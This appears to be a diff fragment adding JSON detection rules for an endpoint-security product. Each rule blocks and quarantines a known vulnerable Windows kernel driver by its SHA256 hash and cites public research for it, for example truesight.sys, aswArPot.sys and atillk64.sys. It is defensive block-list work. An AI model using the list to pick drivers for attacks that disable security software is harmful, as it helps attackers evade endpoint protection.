+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22fd6278-76cf-5ddf-b162-e1eb551b21e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613684Z",
+  "creation_date": "2026-03-23T11:45:29.613686Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613691Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "59626cac380d8fe0b80a6d4c4406d62ba0683a2f0f68d50ad506ca1b1cf25347",
+  "comment": "BioStar Microtech drivers vulnerable to kernel memory mapping function (aka BSMEMx64.sys, BSMIXP64.sys, BSMIx64.sys, BS_Flash64.sys, BS_HWMIO64_W10.sys, BS_HWMIo64.sys and BS_I2c64.sys) [https://www.loldrivers.io/drivers/9e87b6b0-00ed-4259-bcd7-05e2c924d58c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22fff223-e55b-55d8-a96e-11a065670946",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487414Z",
+  "creation_date": "2026-03-23T11:45:31.487416Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487421Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "09415d7d05fe9fd822bd538519e87285ce96bb25bd74e5f5f3e479c2ad575090",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "23077d69-5079-5c66-bd1d-a39653d84e63",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834080Z",
+  "creation_date": "2026-03-23T11:45:30.834083Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834090Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8a73aaeb11ac9af921949053a51f15a1247d0d4d9b55ff95c9120e84c4d4d7e4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2311adfd-84be-50a9-a31f-48a910f32711",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807389Z",
+  "creation_date": "2026-03-23T11:45:31.807392Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807397Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2c2d6db4ea006fce9886dc66103394b47653f5cf2517556d179f3eb10d9687f2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "232760da-2173-585e-85fe-288a05c92a71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620964Z",
+  "creation_date": "2026-03-23T11:45:29.620966Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620972Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8cb62c5d41148de416014f80bd1fd033fd4d2bd504cb05b90eeb6992a382d58f",
+  "comment": "Phoenix Technologies Vulnerable Physmem drivers (aka Agent64.sys) [https://www.loldrivers.io/drivers/5943b267-64f3-40d4-8669-354f23dec122/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "233e24d6-f1a2-5470-a8fd-37ab66a0bb5e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968927Z",
+  "creation_date": "2026-03-23T11:45:29.968929Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968935Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5bd41a29cbba0d24e639f49d1f201b9bd119b11f5e3b8a5fefa3a5c6f1e7692c",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2341efe9-9c27-5866-91ba-de14a436f405",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480751Z",
+  "creation_date": "2026-03-23T11:45:30.480753Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480759Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd0bd7b8fae8e8835ba09118a02a06a51e111fccbe16916414844aab91cfeed4",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "23421092-b421-5be8-be73-bfcbaf552875",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142844Z",
+  "creation_date": "2026-03-23T11:45:31.142846Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142851Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a0e1c390cd80d8e1e8552939d21f6710d21cca77a27ca7e393832ef5cf456bf7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "234f9fed-975e-5f7f-a788-c46d366b7904",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811008Z",
+  "creation_date": "2026-03-23T11:45:31.811010Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811016Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9ae7bc61efe7325bcf37099ad877ea20abcc381d9d05492146c5e2764b11622a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "235cb634-b380-58d5-b14e-b9d9b3181f4c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153093Z",
+  "creation_date": "2026-03-23T11:45:31.153096Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153104Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "879d4047295e37b3d185906588e0b7716097b45340e5244809cf0146599b9a6f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2365317d-1fbd-5069-af40-154f2bfdd34d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820284Z",
+  "creation_date": "2026-03-23T11:45:30.820286Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820292Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ba182292c25044e9abc89bcd2a846a4cd74485ce0c26413e5a859c516f9d89e2",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "23715b8f-5e47-5729-8d93-1ae5aed6fe32",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819625Z",
+  "creation_date": "2026-03-23T11:45:31.819628Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819636Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7833b719290b7a877b1ac54d2734037c92c2bf1d4ec5f62beb213b16fd1d4ab4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2377b464-487c-5009-b34f-30ca02bdaf6a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493994Z",
+  "creation_date": "2026-03-23T11:45:31.493998Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494007Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a0c7f5abba359cd1db92da1eb19a5d269da2de0260f9687338071ebec00f2da5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2387bba0-4721-50bb-8240-323f484621c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617378Z",
+  "creation_date": "2026-03-23T11:45:29.617380Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617386Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61580186311f6260c6de7fa5bf9242d74687aa1c5c9fdf9d9a48eb46d67d636f",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2388a1a0-2a65-5ac6-be3d-66d738f75860",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152668Z",
+  "creation_date": "2026-03-23T11:45:31.152670Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152675Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "90e33eefb9c906e9930162b84a653a2503241956751184a94ab94d39f36516a2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "238e85b6-8c23-5781-a4a3-1692ebed5369",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455959Z",
+  "creation_date": "2026-03-23T11:45:30.455963Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455972Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "742b102cc69403c669244f0efcf9ac8e5bbdb9b10f35f03c743651afe5ac32ba",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "238f9798-ecfe-5f5e-884c-34ebb284f9ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499108Z",
+  "creation_date": "2026-03-23T11:45:31.499111Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499119Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d69c4a3d8bd38413868d5bd5d6d134b5e99f892c74ef61616498be8e7679a9f7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2394c20d-ec39-5646-9fea-99514be0732e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968527Z",
+  "creation_date": "2026-03-23T11:45:29.968529Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968535Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c5050a2017490fff7aa53c73755982b339ddb0fd7cef2cde32c81bc9834331c5",
+  "comment": "Vulnerable Kernel Driver (aka HpPortIox64.sys) [https://www.loldrivers.io/drivers/13637210-2e1c-45a4-9f76-fe38c3c34264/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "23a4f77c-53aa-5169-91b3-f79a6564af0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155614Z",
+  "creation_date": "2026-03-23T11:45:31.155616Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155622Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8c9058ca48a1ce381fe40f4dea553cf200ad3c146c16f83301ddcb8887b7269f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "23ac62d0-92b9-5f19-a1b0-1a51ecebcea7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160535Z",
+  "creation_date": "2026-03-23T11:45:31.160537Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160542Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "138f9f8dbff592c83bd409fce1e6ca83890deead587205f94a656549d202a00c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "23b1a236-8b95-5747-aa05-29c2ab3dfb8e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477254Z",
+  "creation_date": "2026-03-23T11:45:31.477258Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477269Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7086cedfb56414413595dc2ddd595fcced21d1de5412406add7b9f2ad7951951",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "23b4b8ca-9d2d-55b6-a44a-b906e25c3b74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824515Z",
+  "creation_date": "2026-03-23T11:45:31.824518Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824527Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "17564c465975cfded515991b4185606094eafaff3df48ea38fca6a27ddee4623",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
